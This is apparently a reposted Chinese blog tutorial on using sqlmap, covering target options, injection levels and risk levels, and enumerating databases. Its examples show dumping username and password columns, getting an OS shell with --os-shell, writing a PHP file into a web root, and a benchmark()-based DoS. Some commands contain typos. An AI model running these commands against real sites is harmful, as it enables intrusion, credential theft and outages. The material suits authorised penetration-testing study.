sqlmap介绍及简单实用

Sqlmap的使用

一、Sqlmap简介

sqlmap是一种开源的渗透测试工具,可以自动检测和利用SQL注入漏洞以及接入该数据库的服务器。它拥有非常强大的检测引擎、具有多种特性的渗透测试器、通过数据库指纹提取访问底层文件系统并通过外带连接执行命令。

支持的数据库:MySQL,Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase and SAP MAXDB。

sqlmap支持五种不同的注入模式:

  • UNION query SQL injection(可联合查询注入)
  • Error-based SQL injection(报错型注入)
  • Boolean-based blind SQL injection(布尔型注入)
  • Time-based blind SQL injection(基于时间延迟注入)
  • Stacked queries SQL injection(可多语句查询注入)

二、设置目标URL

-u /–url

最基本格式
#sqlmap -u“http://www.target.com/index.php?id=1”

-m

从文本中获取多个目标扫描,但是每一行只能有一个url.
#sqlmap -m urllist.txt

post方法

-r表示加载一个文件,-p指定参数

从文件中加载HTTP请求,这样的话 就不需要在去设定cookie,POST数据…等等。
使用http请求文件(burpsuite)
#sqlmap -r request.txt

-l

使用burpsuite log文件
#sqlmap -l log.txt

–forms 自动搜索表单的方式

#sqlmap -u“http://www.target.com/index.php?id=1” --forms

–data 指定一个参数的方法

sqlmap -u “http://www.target.com/index.php?id=1” --data “n=1&p=1”

https方法

#sqlmap -u “https://target/a.php?id=1:8843” --force-ssl
8843是https的端口,如果是本机默认443端口的话可以省略,否则需指定

-d

sqlmap作为数据库客户端直接连接数据库进行爆库
#sqlmap -d “mysql://username:[email protected]:3306/dvwa” -f --users --banner --dbs --schema -a

-g

sqlmap扫描Google搜索结果
#sqlmap -d “inurl:”.php&id=1""

扫描配置文件

sqlmap -c sqlmap.conf

三、设置回显等级

参数:-v 默认为1:

0、只显示python错误以及严重的信息。
1、同时显示基本信息和警告信息。(默认等级)
2、同时显示debug信息。
3、同时显示注入的payload。
4、同时显示HTTP请求。
5、同时显示HTTP响应头。
6、同时显示HTTP响应页面。

四、设置HTTP数据包相关参数

参数:–data

此参数是把data后面的数据以POST方式提交,sqlmap会像检测GET参数一样检测POST提交过去的参数。
#sqlmap -u “http://www.target.com/vuln.php” --data=“id=1”

参数:–cookie

当web需要登录的时候,需要我们抓包获取cookie参数,然后复制出来,加到-- cookie参数中。
–cookie=”Cookie: Hm_lvt6910067,1546929561,1547001094,1547024662;PHPSESSID=o64fbvo316lg59njufl2gfutm4; ”

HTTP User-Agent头

参数:–user-agent

默认情况下sqlmap的HTTP请求头中的User-Agent值是: sqlmap/1.0-dev-xxxxxxxxx(http://sqlmap.org)这个时候可以手动指定伪造一个User-Agent。
#sqlmap -u “http://www.target.com” --level 3 --user-agent=”aaaaaa” --dbs

参数:–random-agent 会从sqlmap/txt/user-agents.txt中随机产生User-Agent头。

#sqlmap -u “http://www.target.com” --level 3 --random-agent --dbs

  • sqlmap 检查uesr-agent中的注入点, level>=3才会去检查user-agent头是否存在注入漏洞
HTTP Referer头

参数:–referer

sqlmap可以在请求中伪造HTTP中的referer。
#sqlmap -u “http://www.target.com/?id=1” --referer=”http://www.baidu.com

  • 当–level参数设定>=3时,会尝试进行referer注入。

–delay

可以设定两个http请求间的延迟,设定为1的时候是1秒,默认是没有延迟的。

–safe-freq

请求次数

–timeout

可以设定一个http请求超过多少秒判定为超时,默认是30秒。

五、指定测试参数

从post数据包中注入

-p

sqlmap 默认会测试所有的GET和POST参数,当–level的值大于等于2的时候也会测试HTTP Cookie头的值,当大于等于3的时候也会测试User- Agent和HTTP Referer头的值。例如:-p “id,user-angent”

可以使用burpsuite或者temperdata等工具来抓取post包
#sqlmap -r “c:\tools\request.txt” -p “username” --dbms mysql 指定username参数

–skip

在使用–level时,级别很大的时候,但是有些参数不能去测试,那么可以使用-- skip参数跳过。
例如:–skip=”user-agent,referer”

六、设定探测等级

–level (sqlmap -r 情况下)

共有五个等级,默认为1,sqlmap使用的payload可以在xml/payloads.xml中看到,自己也可以根据相应的格式添加自己的payload。

  • level>=2的时候就会测试HTTP Cookie。
  • level>=3的时候就会测试HTTP User-Agent/Referer头。
  • level=5 的时候会测试HTTP Host。

七、设定探测风险等级

–risk

共有四个风险等级,0-4,默认是1会测试大部分的测试语句,2会增加基于时间的测试语句,3会增加OR语句的SQL注入测试。在有些时候,例如在UPDATE,DELETE的语句中,注入一个OR的测试语句,可能导致更新的整个表,可能造成很大的风险。

八、列数据

–dbs
–users
–passwords
–technique :指定使用哪种注入类型
–current-db 当前数据库
–privileges 权限
-D database_name --tables
-D database_name -T table_name --columns
-D database_name -T table_name -C column_1,column_2 --dump

查询有哪些数据库
#sqlmap -u “http://www.target.com/show.php?id=1” --dbms mysql --level 3 --dbs

查询test数据库中有哪些表
#sqlmap -u “http://www.target.com/show.php?id=1” --dbms mysql --level 3 -D test --tables

查询test数据库中admin表有哪些字段
#sqlmap -u “http://www.target.com/show.php?id=1” --dbms mysql --level 3 -D test -T admin --columns

dump出字段username与password中的数据
#sqlmap -u “http://www.target.com/show.php?id=1” --dbms mysql --level 3 -D test -T admin -C “username,password” --dump

在baji数据库中搜索字段admin或者password
#sqlmap -r “c:\tools\request.txt” --dbms mysql -D baji–search -C admin,password

九、一些常用的参数

–users 列数据库管理用户,当前用户有权限读取包含所有用户的表的权限时,就可以列出所有管理用户。
–banner 查看数据库版本
–dbs 查看所有的库名
–schema 查看information_schema源数据信息
-a 就是all的意思,查看数据库所有信息
–current-user 在大多数据库中可以获取到管理数据的用户。
–is-dba 判断当前的用户是否为管理,是的话会返回True。
–privileges 当前用户有权限读取包含所有用户的表的权限时,很可能列举出每个用户的权限,sqlmap将会告诉你哪个是数据库的超级管理员。也可以用-U参数指定你想看那个用户的权限。
–proxy 指定一个代理服务器 eg: –proxy http://local:8080
select * from users where id=(((‘1’))) and 1=1
–prefix=PREFIX 注入payload字符串前缀
–suffix=SUFFIX 注入payload字符串后缀
eg:sqlmap -u “www.target.com/index.php?id=1” -p id --prefix “’))”
–suffix “AND (‘1’='1”

十、使用shell命令:

参数–os-shell

前提:需要网站的物理路径,其次是需要有FIILE权限。
#sqlmap -r “C:\sqlmap\request.txt” -p id --dms mysql --os-shell
接下来指定网站可写目录:
“C:\www”
sqlmap -u “www.a.com/1.php?id=1”

–file-write=”d:/1.txt”
–file-dest=”E:/wwwroot/bihuoedu/one.php“
–batch 全自动
–start=开始条数 --stop=结束条数
–dump 导出数据
–dump-all 导出所有数据
–purge-output 清空缓存目录
–sql-shell 反弹sqlshell,类似于sql查询分析
默认路径.sqlmap (点sqlmap)

十一、DOS攻击

首先获取目标站点的数据库shell
1、
#sqlmap -u“http://192.168.120.111/news.php?id=1” --sql-shell
2、
#benchemark(99999999999,0x70726f62616e646f70726f62616e646f70726f62616e646f)

猜你喜欢

转载自blog.csdn.net/qq_37133717/article/details/93621097